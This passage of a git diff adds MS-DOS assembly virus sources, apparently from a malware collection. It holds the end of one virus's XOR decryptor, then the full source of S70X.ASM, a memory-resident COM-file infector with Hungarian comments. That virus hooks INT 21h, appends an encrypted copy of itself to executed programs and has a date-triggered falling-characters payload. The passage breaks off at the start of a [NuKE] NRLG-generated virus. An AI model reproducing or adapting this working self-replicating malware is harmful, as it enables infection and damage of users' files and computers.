0e9h,0,0,fileid ;newbytes + +;----------------------------------------------------------------------------- +encrypt_end: + +hbytes db 0cdh,20h,0,0 ;HOSTbytes, not ecrypted due to disinfect + + +;----------------------------------------------------------------------------- +encrypt:decrypt: + mov cx,(encrypt_end-encrypted_start)/2 + xorl: + db 26h + db 81h,34h +encval dw 0 ;xor es:[si],encval + inc si + inc si + loop xorl + ret + +vend: ;end of virus code excluding heap +hstart: +hend: ;end of virus code including heap + end host +================================================================================ diff --git a/s/S70X.ASM b/s/S70X.ASM new file mode 100755 index 0000000..e1c095b --- /dev/null +++ b/s/S70X.ASM @@ -0,0 +1,781 @@ + PAGE ,132 +VIRUS SEGMENT PARA PUBLIC 'CODE' + ASSUME CS:VIRUS,DS:VIRUS + +R1 EQU IDE-131H +R2 EQU BE1-1A3H +HOSSZ EQU VEG-KEZDET + + ORG 100H +KEZDET EQU $ + DB 1 + CLI + MOV BP,SP + CALL IDE +IDE: POP BX ; A CIM VISSZAOLVASASA + SUB BX,131H + TEST CS:BYTE PTR [BX+KEZDET-R1],1 + JZ INDIT + LEA SI,[BX+INDIT-R1] + MOV SP,OFFSET VEG-INDIT +FOLYT: XOR [SI],SI + XOR [SI],SP + INC SI + DEC SP + JNZ FOLYT +INDIT: MOV SP,BP + JMP BEEPUL + +REGCIM DW 100H +VSZ DW 0 +MENTAX DW 0 +PRGKEZ DB 0,0,0 + DW 0 +REG1C DD 0 +REG21 DD 0 +REG28 DD 0 + DW 0 +FILATT DW 0 +FILDAT DW 0 +FILIDO DW 0 +FILNEV DD 0 +FILHOS DD 0 +UJKEZD DB 0E9H,0,0 +VIDOSZL DB 0 +VIDSOR DB 0 +VIDMOD DB 0 +OLVKAR DB 0 +OLVATT DB 0 +STATUS DB 0 +VIDKEZ DW 0 +VIDOFS DW 0 +IDOEGYS DW 0 +SZAML DW 0 +SZAMLEL DW 0 +MAXKAR DW 0 +POTYKAR DW 0 +ORA DB 16 DUP(0) + +BEEPUL: CALL BE1 +BE1: POP BX + SUB BX,1A3H + MOV CS:[BX+VSZ-R2],CS ; A KODSZEGMENS TAROLASA, AZ INDITAS SZEGMENSE + MOV CS:[BX+MENTAX-R2],AX + MOV AX,CS:[BX+PRGKEZ-R2] + MOV DS:100H,AX ; AZ ELSO HAROM BYTE VISSZAALLITASA + MOV AL,CS:[BX+PRGKEZ+2-R2] + MOV DS:102H,AL + PUSH BX + MOV AH,30H ; A DOS VERZIOSZAM BEOLVASASA + INT 21H + POP BX + CMP AL,2 + JB VISSZA ; HA KISEBB, MINT A 2.0 VERZIO + MOV AX,4BFFH ; A VIRUS AKTIVALTSAG ELLENORZESE + XOR DI,DI ; DI=0 + XOR SI,SI ; SI=0 + INT 21H ; A VIRUS MAR A MEMORIABAN? + CMP DI,55AAH ; HA DI=55AA, AKKOR MAR AKTIV + JNZ BE2 ; UGRAS, HA MAR MUKODIK + JB BE3 ; MINDIG HAMIS +VISSZA: STI ; ELINDITJA A GAZDAPROGRAMOT + PUSH DS + POP ES ; AZ ES VISSZAALLITASA + MOV AX,CS:[BX+MENTAX-R2] + JMP DWORD PTR CS:[BX+REGCIM-R2] +BE2: PUSH BX + MOV AX,3521H + INT 21H ; A 21H MEGSZAKITASVEKTOR BEOLVASASA + MOV AX,BX + POP BX ; ES ELTAROLASA A TABLAZATBAN +BE3: MOV CS:[BX+REG21-R2],AX + MOV CS:[BX+REG21+2-R2],ES + MOV AX,0F000H + MOV ES,AX + MOV DI,0E008H + CMP WORD PTR [DI],4F43H ; 'COPR. IBM'+00H ELLENORZESE /LENNE/ + JNZ BE4 + CMP WORD PTR [DI+2],5250H + JNZ BE4 + CMP WORD PTR [DI+4],202EH + JNZ BE4 + CMP WORD PTR [DI+6],4249H + JNZ BE4 + CMP WORD PTR [DI+8],4DH + JZ VISSZA +BE4: MOV AX,HOSSZ/10H+11H ; A VIRUS HOSSZA+100H PARAGRAFUSBAN + MOV BP,CS ; ES RAALLITASA A PROGRAMOT MEGELOZO + DEC BP ; MCB-RE + MOV ES,BP + MOV SI,CS:[16H] + MOV ES:[1],SI + MOV DX,ES:[3] ; A SZABAD PARAGRAFUSOK BEOLVASASA DX-BE + MOV ES:[3],AX + MOV ES:BYTE PTR [0],4DH ; NEM UTOLSO MCB + SUB DX,AX ; AZ UJ SZABAD PARAGRAFUSOK SZAMA A VIRUS + DEC DX ; HOSSZAVAL ES EGYEL /AZ UJ MCB/ KEVESEBB + INC BP + ADD BP,AX + INC BP + MOV ES,BP + PUSH BX + MOV AH,50H + MOV BX,BP + INT 21H + POP BX + XOR DI,DI ; DI=0 + PUSH ES + POP SS ; SS=ES - AZ UJ VEREM AZ UJ HELYEN LESZ + PUSH DI + LEA DI,[BX+VEG-R2-1] ; A PROGRAM VEGEROL + MOV SI,DI + MOV CX,OFFSET HOSSZ ; A VIRUST /CX-BE A VIRUS HOSSZA KERUL/ + STD ; VISSZAFELE + REPZ MOVSB ; FELMASOLJA + PUSH ES + LEA CX,[BX+BE9-R2] ; KOZVETLEN VEZERLESATADAS AZ UJ HELYEN + PUSH CX ; LEVO VIRUSRA. A PROGRAM VALOJABAN A + RETF ; RETF UTASITAS UTAN FOLYTATODIK +BE9: MOV CS:[BX+VSZ-R2],CS ; AZ UJ SZEGMENSCIM AZ INDITASHOZ + LEA CX,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL + REPZ MOVSB ; A PROGRAM 'FELHUZASA' A VIRUS ALA + MOV CS:36H,CS + DEC BP ; AZ UJ MCB SZEGMENSCIME + MOV ES,BP ; ATTOLTENI ES-BE + MOV ES:[3],DX ; BEALLITANI A SZABAD PARAGRAFUSOK SZAMAT + MOV ES:BYTE PTR [0],5AH ; ES EZ AZ UTOLSO MCB + MOV ES:WORD PTR [1],CS ; A PROGRAM SZEGMENSCIME + INC BP ; ES=ES+1, A SZEGMENSREGISZTER VISSZAALLITASA + MOV ES,BP ; A PROGRAM ELEJERE + PUSH DS + POP ES ; ES=DS + PUSH CS + POP DS ; DS=CS + LEA SI,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL + MOV DI,100H + MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA + CLD ; A VIRUS LEMASOLASA A PROGRAM ELOTT + REPZ MOVSB ; FELSZABADULT HELYRE + PUSH ES ; ES KOZVETLEN VEZERLESATADAS A VEGLEGES + LEA AX,DS:BE8 ; HELYEN TALALHATO VIRUS SZAMARA + PUSH AX ; AZ UGRAS AZ UJ VIRUS RETF UTASITASA + RETF ; UTAN TORTENIK +BE8: MOV CS:WORD PTR [2CH],0 + MOV CS:16H,CS + PUSH DS ; DS ERTEKET ELMENTENI + LEA DX,DS:UJ21 ; AZ UJ INT 21H CIMENEK BEALLITASA + PUSH CS ; DS=CS + POP DS + MOV AX,2521H + INT 21H + POP DS ; DS REGI ERTEKE + MOV AH,1AH + MOV DX,80H + INT 21H ; A DTA CIM BEALLITASA + CALL BEMAS ; A RENDSZERIDO BEMASOLASA A TABLAZATBA + MOV AH,2AH + INT 21H ; RENDSZERDATUM BEOLVASASA + CMP CX,1988 ; A MAI DATUM NAGYOBB, MINT 1988? + JA BE5 ; IGEN: CSAK FERTOZES + JZ BE6 ; IDEN VAN 1988 + CMP CX,1980 ; 1980 VAN? + JNZ BE5 ; IGEN: CSAK FERTOZES + PUSH DS + MOV AX,3528H + INT 21H ; A 28H VEKTOR BEOLVASASA, ES ELTAROLASA + MOV CS:WORD PTR REG28,BX + MOV CS:WORD PTR REG28+2,ES + MOV AX,2528H + MOV DX,OFFSET UJ28 ; DX-BE AZ UJ INT 28H OFFSZETJE + PUSH CS + POP DS ; DS=CS + INT 21H ; A MEGSZAKITASI VEKTOR BEALLITASA + POP DS + OR CS:STATUS,1000B ; A POTYOGAS LETILTASA + JMP BE7 +BE6: CMP DH,0AH ; CSAK OKTOBERTOL DECEMBERIG POTYOG + JB BE5 ; MEG NINCS +BE7: CALL KESLH ; A KESLELTETESI ERTEK MEGHATAROZASA + MOV AX,1518H + CALL VELETL + INC AX + MOV CS:SZAML,AX ; A BELSO VALTOZOK BEALLITASA + MOV CS:SZAMLEL,AX + MOV CS:POTYKAR,1 + MOV AX,351CH + INT 21H ; AZ 1CH VEKTOR BEOLVASASA ES ELTAROLASA + MOV CS:WORD PTR REG1C,BX + MOV CS:WORD PTR REG1C+2,ES + PUSH DS + MOV AX,251CH + MOV DX,OFFSET UJ1C ; AZ UJ INT 1CH OFFSZETJE + PUSH CS ; ES SZEGMENSE + POP DS + INT 21H ; AZ 1CH VEKTOR BEALLITASA + POP DS +BE5: MOV BX,0FFD6H + JMP VISSZA + +UJ21: CMP AH,4BH ; A FUNKCIOKOD 4BH? + JZ U21_1 ; IGEN +U21_2: JMP DWORD PTR CS:REG21 ; FOLYTATAS A REGI INT 21H-N +U21_3: MOV DI,55AAH ; A VIRUS AKTIVALTSAGA + LES AX,CS:REG21 + MOV DX,CS + IRET +U21_1: CMP AL,0FFH ; A VIRUS AKTIVALTSAG KERDEZESE? + JZ U21_3 ; IGEN + CMP AL,0 ; BETOLTES & INDITAS? + JNZ U21_2 ; NEM + PUSHF ; A REGISZTEREK MENTESE + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + PUSH ES + PUSH DS + MOV CS:WORD PTR FILNEV,DX + MOV CS:WORD PTR FILNEV+2,DS + PUSH CS + POP ES + MOV AX,3D00H + INT 21H ; A FILE MEGNYITASA OLVASASRA + JC FERT1 + MOV BX,AX ; A FILESZAM ATVITELE BX-BE + MOV AX,5700H + INT 21H ; A KELETKEZESI IDO BEOLVASASA + MOV CS:FILDAT,DX ; ES ELTAROLASA + MOV CS:FILIDO,CX + MOV AH,3FH + PUSH CS + POP DS + MOV DX,OFFSET PRGKEZ + MOV CX,3 + INT 21H ; AZ ELSO HAROM BYTE BEOLVASASA + JC FERT1 + CMP AX,CX ; SIKERULT MINDENT BEOLVASNI? + JNZ FERT1 ; NEM, HIBA TORTENT + MOV AX,4202H + XOR CX,CX + XOR DX,DX + INT 21H ; FILE HOSSZANAK A MEGHATAROZASA + MOV CS:WORD PTR FILHOS,AX + MOV CS:WORD PTR FILHOS+2,DX + MOV AH,3EH + INT 21H ; A FILE LEZARASA + CMP CS:WORD PTR PRGKEZ,5A4DH + JNZ FERT2 ; COM FILE? + JMP FERT3 ; EXE ESETEN VISSZATERES +FERT2: CMP CS:WORD PTR FILHOS+2,0 + JA FERT1 ; NAGYOBB, MINT 64K? + CMP CS:WORD PTR FILHOS,0F93BH + JBE FERT7 ; A FILE MEG MEGFELELO MERETU +FERT1: JMP FERT3 +FERT7: CMP CS:PRGKEZ,0E9H ; JMP UTASITAS? + JNZ FERT8 ; NEM + MOV AX,CS:WORD PTR FILHOS + ADD AX,0F959H ; FILE HOSSZA - VIRUS HOSSZA : IDE UGRIK? + CMP AX,CS:WORD PTR PRGKEZ+1 + JZ FERT1 ; EZ A FILE MAR FERTOZOTT +FERT8: MOV AX,4300H + LDS DX,CS:FILNEV + INT 21H ; A FILE ATTRIBUTUMANAK BEOLVASASA + JC FERT1 + MOV CS:FILATT,CX ; AZ ATTRIBUTUM TAROLASA + XOR CL,20H ; AZ ARCHIV BIT INVERTALASA + TEST CL,27H + JZ FERT5 + MOV AX,4301H + XOR CX,CX + INT 21H ; AZ UJ ATTRIBUTUM FELIRASA + JC FERT1 +FERT5: MOV AX,3D02H + INT 21H ; FILE NYITASA IRASRA & OLVASASRA + JC FERT1 + MOV BX,AX ; FILE SORSZAM BX-BE + MOV AX,4202H + XOR CX,CX + XOR DX,DX + INT 21H ; MUTATO A FILE VEGERE + CALL UTANMAS ; A VIRUST UTANAMASOLNI + JNC FERT9 ; SIKERULT? + MOV AX,4200H + MOV CX,CS:WORD PTR FILHOS+2 + MOV DX,CS:WORD PTR FILHOS + INT 21H ; MUTATO A FILE EREDETI VEGERE + MOV AH,40H + XOR CX,CX + INT 21H ; A FILEHOSSZ FELIRASA + JMP FERT6 +FERT9: MOV AX,4200H + XOR CX,CX + XOR DX,DX + INT 21H ; MUTATO A FILE ELEJERE + JC FERT6 + MOV AX,CS:WORD PTR FILHOS + ADD AX,0FFFEH ; AZ UGRASI CIM KISZAMITASA + MOV CS:WORD PTR UJKEZD+1,AX + MOV AH,040H + MOV DX,OFFSET UJKEZD + MOV CX,3 + INT 21H ; AZ ELSO HAROM BYTE KIIRASA +FERT6: MOV AX,5701H + MOV DX,CS:FILDAT ; A DATUM + MOV CX,CS:FILIDO ; ES IDO BEOLVASASA + INT 21H ; ES BEALLITASA + MOV AH,3EH + INT 21H ; A FILE LEZARASA + MOV CX,CS:FILATT ; AZ ATTRIBUTUM BEOLVASASA + TEST CL,111B ; R/O, REJTETT VAGY RENDSZER? + JNZ FERTA + TEST CL,100000B ; ARCHIV FILE? + JNZ FERT3 +FERTA: MOV AX,4301H + LDS DX,CS:FILNEV + INT 21H ; A FILE ATTRIBUTUMANAK BEALLITASA +FERT3: POP DS ; A REGISZTEREK VISSZAOLVASASA + POP ES + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POPF + JMP U21_2 + +VELETL PROC NEAR ; EGY VELETLENSZAM ELOALLITASA + PUSH DS + PUSH CS + POP DS + PUSH BX + PUSH CX + PUSH DX + PUSH AX + MOV CX,7 + MOV BX,OFFSET ORA+0EH + PUSH [BX] +VEL1: MOV AX,[BX-2] + ADC [BX],AX + DEC BX + DEC BX + LOOP VEL1 + POP AX + ADC [BX],AX + MOV DX,[BX] + POP AX + OR AX,AX + JZ VEL2 + MUL DX +VEL2: MOV AX,DX + POP DX ; REGISZTEREK VISSZAALLITASA + POP CX + POP BX + POP DS + RET +VELETL ENDP + +BEMAS PROC NEAR ; A RENDSZERIDO BEMASOLASA A TABLAZATBA + PUSH DS ; A REGISZTEREK ELMENTESE + PUSH ES + PUSH SI + PUSH DI + PUSH CX + PUSH CS ; ES=CS + POP ES + MOV CX,40H ; FORRAS= 0000:046CH + MOV DS,CX ; AZ ORA BEMASOLASA + MOV DI,OFFSET ORA + MOV SI,6CH + MOV CX,8 ; 16 BYTE + CLD ; NOVEKVO IRANYBA + REPZ MOVSW + POP CX ; A REGISZEREK ELOZO ERTEKEINEK + POP DI ; VISSZAALLITASA + POP SI + POP ES + POP DS + RET ; VISSZATERES +BEMAS ENDP + +VIDOLV PROC NEAR ; OLVASAS A VIDEORAM-BOL + PUSH SI ; REGISZTEREK ELMENTESE + PUSH DS + PUSH DX + MOV AL,DH + MUL VIDOSZL ; A SOR SZAMA SZOROZVA A SORON BELULI OSZLOPOK + MOV DH,0 ; SZAMAVAL, PLUSZ AZ OSZLOPOK SZAMA + ADD AX,DX + SHL AX,1 ; SZORZAS KETTOVEL (KAR.+ATTRIB.) + ADD AX,VIDOFS ; ELTOLAS A SZEGMENSEN BELUL + MOV SI,AX + TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO? + MOV DS,VIDKEZ + JZ VO3 ; NEM HAVAZIK + MOV DX,3DAH ; A CGA KARTYA STATUSZPORTJA + CLI ; A MEGSZAKITASOKAT LETILTANI +VO1: IN AL,DX ; A STATUSZ BEOLVASASA + TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS + JNZ VO3 + TEST AL,1 ; VARJUK MEG, MIG NEM OLVASHATUNK A RAM-BOL + JNZ VO1 +VO2: IN AL,DX + TEST AL,1 + JZ VO2 +VO3: LODSW ; A KARAKTER ES ATTRIBUTUM BEOLVASASA + STI ; A MEGZAKITAS ELLENORZESE + POP DX ; REGISZTEREK VISSZAOLVASASA + POP DS + POP SI + RET +VIDOLV ENDP + +VIDIR PROC NEAR ; KIIRAS A VIDEORAM-BA + PUSH DI ; REGISZTEREK ELMENTESE + PUSH ES + PUSH DX + PUSH BX + MOV BX,AX ; A KARAKTER ES AZ ATTRIBUTUM ELMENTESE + MOV AL,DH ; A CIM KISZAMITASA + MUL VIDOSZL + MOV DH,0 + ADD AX,DX + SHL AX,1 ; SZORZAS KETTOVEL + ADD AX,VIDOFS + MOV DI,AX + TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO? + MOV ES,VIDKEZ + JZ VI3 ; NEM HAVAZIK + MOV DX,03DAH ; A CGA KARTYA STATUSZPORTJA + CLI ; MEGSZAKITASOKAT TILTANI +VI1: IN AL,DX ; A STATUSZT BEOLVASNI + TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS? + JNZ VI3 ; IGEN + TEST AL,1 ; IRHATUNK A VIDEORAM-BA? + JNZ VI1 ; HA IGEN, AKKOR VARJUNK MEG +VI2: IN AL,DX ; A STATUSZ BEOLVASASA + TEST AL,1 ; VARJUK MEG, AMIRE ISMET OLVASHATUNK + JZ VI2 +VI3: MOV AX,BX ; A KARAKTER ES AZ ATTRIBUTUM BETOLTESE + STOSB ; BEIRASA A VIDEORAM-BA + STI ; A MEGSZAKITASOK MAR ENGEDELYEZHETOK + POP BX ; A REGISZTEREK VISSZAALITASA + POP DX + POP ES + POP DI + RET ; VISSZATERES +VIDIR ENDP + +VARAK PROC NEAR ; VARAKOZAS CX IDEIG + PUSH CX +V1: PUSH CX + MOV CX,IDOEGYS +V2: LOOP V2 + POP CX + LOOP V1 + POP CX + RET +VARAK ENDP + +HANGSZ PROC NEAR ; A HANGSZORO ATKAPCSOLASA + PUSH AX ; AX ELMENTESE + IN AL,61H ; A PPI BEOLVASASA + XOR AL,2 ; A HANGSZORO ATKAPCSOLASA + AND AL,11111110B ; ENGEDELYEZESE + OUT 61H,AL ; VISSZAIRASA + POP AX ; AX VISSZAALLITASA + RET ; VISSZATERES +HANGSZ ENDP + +URES PROC NEAR + CMP AL,0 ; NUL KODJA? + JZ UR1 ; IGEN + CMP AL,20H ; SZOKOZ? + JZ UR1 ; IGEN + CMP AL,0FFH ; 0FFH IS URES + JZ UR1 ; AZ + CLC ; NEM URES + RET ; VISSZATERES +UR1: STC ; URES + RET ; VISSZATERES +URES ENDP + +GRAFIK PROC NEAR + CMP AL,0B0H ; 0B0H<=AL<=0DFH? + JB GR1 ; NEM + CMP AL,0DFH + JA GR1 ; NEM + STC ; IGEN + RET ; VISSZATERES +GR1: CLC ; NEM GRAFIKUS + RET ; VISSZATERES +GRAFIK ENDP + +KESLH PROC NEAR ; A KESLELTETESI ERTEK MEGHATAROZASA + PUSH DS + MOV AX,40H + MOV DS,AX + STI + MOV AX,DS:6CH ; AZ ORA BEOLVASASA +KES1: CMP AX,DS:6CH ; VARAKOZAS, MIG AZ ORA EPPEN NEM LEP + JZ KES1 + XOR CX,CX ; CX NULLAZASA + MOV AX,DS:6CH ; AZ ORA BEOLVASASA +KES2: INC CX ; CX=CX+1 + JZ KES4 ; HA TULCSORDULT + CMP AX,DS:6CH ; LEPETT MAR AZ ORA? + JZ KES2 ; MEG NEM +KES3: POP DS + MOV AX,CX + XOR DX,DX + MOV CX,0FH + DIV CX + MOV CS:IDOEGYS,AX ; AZ IDOEGYSEG ELTAROLASA + RET +KES4: DEC CX + JMP KES3 +KESLH ENDP + +POTY PROC NEAR ; POTYOGTATAS + MOV VIDSOR,24 + PUSH DS + MOV AX,40H ; A BIOS PARAMETERBLOKK + MOV DS,AX + MOV AX,DS:4EH ; A VIDEOPUFFER OFSZET ERTEKE + POP DS + MOV VIDOFS,AX + MOV DL,0FFH + MOV AX,1130H + MOV BH,0 + PUSH ES ; ES & BP ELMENTESE + PUSH BP + INT 10H ; A SOROK SZAMANAK BEOLVASASA + POP BP ; ES & BP VISSZAALLITASA + POP ES + CMP DL,0FFH + JZ PO1 +PO4: MOV VIDSOR,DL ; A SOROK SZAMANAK ELTAROLASA +PO1: MOV AH,0FH + INT 10H ; OSZLOPOK SZAMANAK A BEOLVASASA + MOV VIDOSZL,AH ; ES ELTAROLASA + MOV VIDMOD,0 ; A MOD ES A VIDEOMEMORIA SZEGMENSCIMENEK + MOV VIDKEZ,0B000H ; BEALLITASA + CMP AL,7 ; AZ AKTUALIS MOD EGA-TEXT? + JZ PO3 ; IGEN + JB PO2 + JMP PO7 +PO2: MOV VIDKEZ,0B800H ; A VIDEOMEMORIA KEZDOCIME + CMP AL,3 + JA PO3 + CMP AL,2 + JB PO3 + MOV VIDMOD,1 ; HAVAZIK A KEPERNYO + MOV AL,VIDSOR ; A SOROK SZAMA + INC AL ; MEG EGY + MUL VIDOSZL ; SZOROZVA AZ OSZLOPOK SZAMAVAL + MOV MAXKAR,AX ; ENNYI KARAKTERHELY VAN A KEPERNYON + MOV AX,POTYKAR ; A POTYOGTATANDO KARAKTEREK SZAMA + CMP AX,MAXKAR ; NAGYOBB, MINT A MAXIMALIS KARAKTERSZAM? + JBE PO5 ; NEM, TOVABB + MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM +PO5: CALL VELETL ; VELETLENSZAM ELOALLITASA 1 ES A POTYOGTATANDO + INC AX ; /VAGY MAXIMALIS/ ERTEK KOZOTT + MOV SI,AX ; A MAXIMALISAN POTYOGTATHATO KARAKTEREK SZAMA +PO3: XOR DI,DI ; DI=0 +PO8: INC DI ; DI=DI+1 : A SIKERTELEN KISERLETEKET SZAMLALJA + MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM + SHL AX,1 ; SZOROZVA KETTOVEL, ENNYI SIKERTELEN KISERLET + CMP DI,AX ; ENGEDELYEZETT EGYMAS UTAN + JBE PO6 ; MEG NEM TELT LE + JMP PO7 ; TULLEPTE, KILEPETT +PO6: OR STATUS,10B ; A KARAKTER NEM POTYOGOTT + MOV AL,VIDOSZL ; A MAXIMALIS ERTEK AZ OSZLOPOK SZAMA + MOV AH,0 + CALL VELETL ; VELETLENSZAM ELOALLITASA + MOV DL,AL ; EZ LESZ AZ OSZLOPSZAM + MOV AL,VIDSOR ; MAXIMALIS ERTEK A SOROK SZAMA + MOV AH,0 + CALL VELETL ; VELETLENSZAM ELOALLITASA + MOV DH,AL ; EZ LESZ A SORSZAM + CALL VIDOLV ; A MEGFELELO KARAKTER BEOLVASASA + CALL URES ; URES-E? + JC PO8 ; IGEN + CALL GRAFIK ; GRAFIKUS-E? + JC PO8 ; IGEN + MOV OLVKAR,AL ; A BEOLVASOTT KARAKTER ES ATTRIBUTUMANAK + MOV OLVATT,AH ; ELTAROLASA + MOV CL,VIDSOR ; CX=SOROK SZAMA + MOV CH,0 +POC: INC DH ; A KOVETKEZO SOR + CMP DH,VIDSOR ; ELERTE A MAXIMALISAT? + JA PO9 ; TULLEPTE, ABBAHAGYNI + CALL VIDOLV ; A KARAKTER BEOLVASASA + CMP AH,OLVATT ; AZ ATTRIBUTUM STIMMEL? + JNZ PO9 ; NEM EGYEZIK + CALL URES ; URES KARAKTER-E? + JC POA ; IGEN +POE: CALL GRAFIK ; GRAFIKUS-E? + JC PO9 ; IGEN + INC DH ; A KOVETKEZO SOR + CMP DH,VIDSOR ; TULLEPTE AZ UTOLSO SORT? + JA PO9 ; IGEN + CALL VIDOLV ; BEOLVASAS A VIDEORAM-BOL + CMP AH,OLVATT ; AZ ATTRIBUTUMOK OSSZEHASONLITASA + JNZ PO9 ; NEM EGYEZNEK + CALL URES ; URES KARAKTER-E? + JNC POE ; NEM + CALL HANGSZ ; HANG ELOALLITASA + DEC DH ; A FELETTE LEVO SOR + CALL VIDOLV ; BEOLVASASA + MOV OLVKAR,AL ; ES AZ OTT LEVO KARAKTER ELTAROLASA + INC DH ; AZ ALATTA LEVO SOR +POA: AND STATUS,11111101B ; SIKERULT POTYOGTATNI + DEC DH ; A FELETTE LEVO SOR + MOV AL,20H ; A SZOKOZ KODJA + CALL VIDIR ; KIIRASA + INC DH ; AZ ALATTA LEVO SOR + MOV AL,OLVKAR ; A KARAKTER + CALL VIDIR ; KIIRASA + JCXZ POB ; HA ELERTUK A LEGALSO SORT, AKKOR KILEPES + CALL VARAK ; VARAKOZAS + DEC CX ; ES A VISSZALEVO SOROK SZAMANAK CSOKKENTESE +POB: JMP POC +PO9: TEST STATUS,10B ; POTYOGOTT MAR KARAKTER? + JZ POD ; IGEN + JMP PO8 ; UJ KISERLET +POD: CALL HANGSZ ; HANG ELOALLITASA + DEC SI ; EGGYEL KEVESEBB KARAKTER VAN HATRA + JZ PO7 ; HA NULLA, AKKOR KILEPNI + JMP PO3 ; UJRA KISERELNI +PO7: IN AL,61H ; A HANGSZORO BEOLVASASA + AND AL,11111100B ; KIKAPCSOLASA + OUT 61H,AL ; MAJD VISSZAIRASA + RET ; VISSZATERES +POTY ENDP + +UJ1C: TEST CS:STATUS,1001B ; A POTYOGAS TILTVA, VAGY EPPEN POTYOG? + JNZ U1C_1 ; IGEN + OR CS:STATUS,1 ; EPPEN POTYOG JELZOT BEALLITANI + DEC CS:SZAML ; A SZAMLALOT CSOKKENTENI + JNZ U1C_2 ; HA MEG NEM NULLA, AKKOR VEGE + PUSH DS ; REGISZTEREK ELMENTESE + PUSH ES + PUSH CS + POP DS ; DS=CS + PUSH CS + POP ES ; ES=CS + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + MOV AL,20H + OUT 20H,AL + MOV AX,SZAMLEL ; A SZAMLALO ELOZO ERTEKE + CMP AX,0438H ; AZ ELOZO ERTEK KISEBB VOLT? + JNB U1C_3 ; NEM + MOV AX,0438H ; KB. 60 MASODPERC +U1C_3: CALL VELETL ; VELETLENSZAM ELOAALITASA + INC AX ; AZ IDO NEM LEHET NULLA + MOV SZAML,AX ; ES ELTAROLAS A SZAMLALOBA + MOV SZAMLEL,AX ; ES MINT A SZAMLALO UTOLSO ERTEKE IS + CALL POTY ; POTYOGTATAS + MOV AX,3 ; VELETLENSZAM ELOALLIASA + CALL VELETL ; 1 ES 3 KOZOTT + INC AX + MUL POTYKAR ; EZT SZOROZNI A MAXIMALISAN POTYOGTATHATO + JNB U1C_4 ; KARAKTEREK SZAMAVAL + MOV AX,0FFFFH ; MAXIMUM 65535 DB LEHET +U1C_4: MOV POTYKAR,AX ; ELTAROLASA + POP BP ; REGISZTEREK VISSZOLVASASA + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POP ES + POP DS +U1C_2: AND CS:STATUS,11111110B ; EPPEN NEM POTYOG BEALLITASA +U1C_1: JMP DWORD PTR CS:REG1C ; FOLYTATASA A REGI INT 1CH-N + +UJ28: TEST CS:STATUS,1000B ; TILTVA A POTYOGAS? + JZ U28_1 ; HA NEM, AKKOR FELESLEGES VEGREHAJTANI + PUSH AX ; REGISZTEREK MENTESE + PUSH CX + PUSH DX + MOV AH,2AH ; A RENDSZERDATUM BEOLVASASA + INT 21H + CMP CX,1988 ; AZ EV 1988? + JB U28_2 ; HA KISEBB, AKKOR KILEPES + JA U28_3 ; HA NAGYOBB, AKKOR POTYOGHAT + CMP DH,10 ; VAN MAR OKTOBER? + JB U28_2 ; HA MEG NINCS, AKKOR NE POTYOGJON +U28_3: AND CS:STATUS,11110111B ; A POTYOGAS ENGEDELYEZVE +U28_2: POP DX ; REGISZTEREK VISSZAOLVASASA + POP CX + POP AX +U28_1: JMP DWORD PTR CS:REG28 ; FOLYTATAS A REGI INT 28H-N + +UTANMAS PROC NEAR ; A VIRUS KIMASOLASA A PROGRAM MOGE + PUSH ES + PUSH BX + MOV AH,48H ; MEMORIATERULET ALLOKALASA + MOV BX,OFFSET HOSSZ/10H+1 + INT 21H + POP BX + JNC UTAN1 ; SIKERULT? +UTAN3: STC + POP ES + RET +UTAN1: MOV BYTE PTR CS:100H,1 + MOV ES,AX + PUSH CS ; DS=CS + POP DS + XOR DI,DI ; DI=0 + MOV SI,100H ; SI=100H + MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA + CLD ; NOVEKVO IRANY + REPZ MOVSB ; A VIRUS KIMASOLASA AZ ALLOKALT TERULETRE + MOV DI,OFFSET INDIT-100H + MOV SI,OFFSET INDIT + ADD SI,WORD PTR FILHOS + MOV CX,OFFSET VEG-INDIT +UTAN2: XOR ES:[DI],SI ; A VIRUS LE XOR-OLASA + XOR ES:[DI],CX + INC DI + INC SI + LOOP UTAN2 + MOV DS,AX ; DS A PUFFER ELEJERE MUTAT + MOV AH,40H + XOR DX,DX ; AZ OFSZET A PUFFER ELEJERE + MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA + INT 21H ; KIIRAS A PROGRAM MOGE + PUSHF + PUSH AX + MOV AH,49H ; AZ ALLOKALT MEMORIABLOKK FELSZABADITASA + INT 21H + POP AX ; A REGISZTEREK VISSZAOLVASASA + POPF + PUSH CS ; DS=CS + POP DS + JC UTAN3 + CMP AX,CX ; MINDEN BYTEOT KIIRT? + JNZ UTAN3 ; NEM + POP ES + CLC ; NEM TORTENT HIBA + RET ; VISSZATERES +UTANMAS ENDP + +VEG EQU $ + +VIRUS ENDS + + END + \ No newline at end of file diff --git a/s/SACLINK.ASM b/s/SACLINK.ASM new file mode 100755 index 0000000..b6c3260 --- /dev/null +++ b/s/SACLINK.ASM @@ -0,0 +1,435 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr 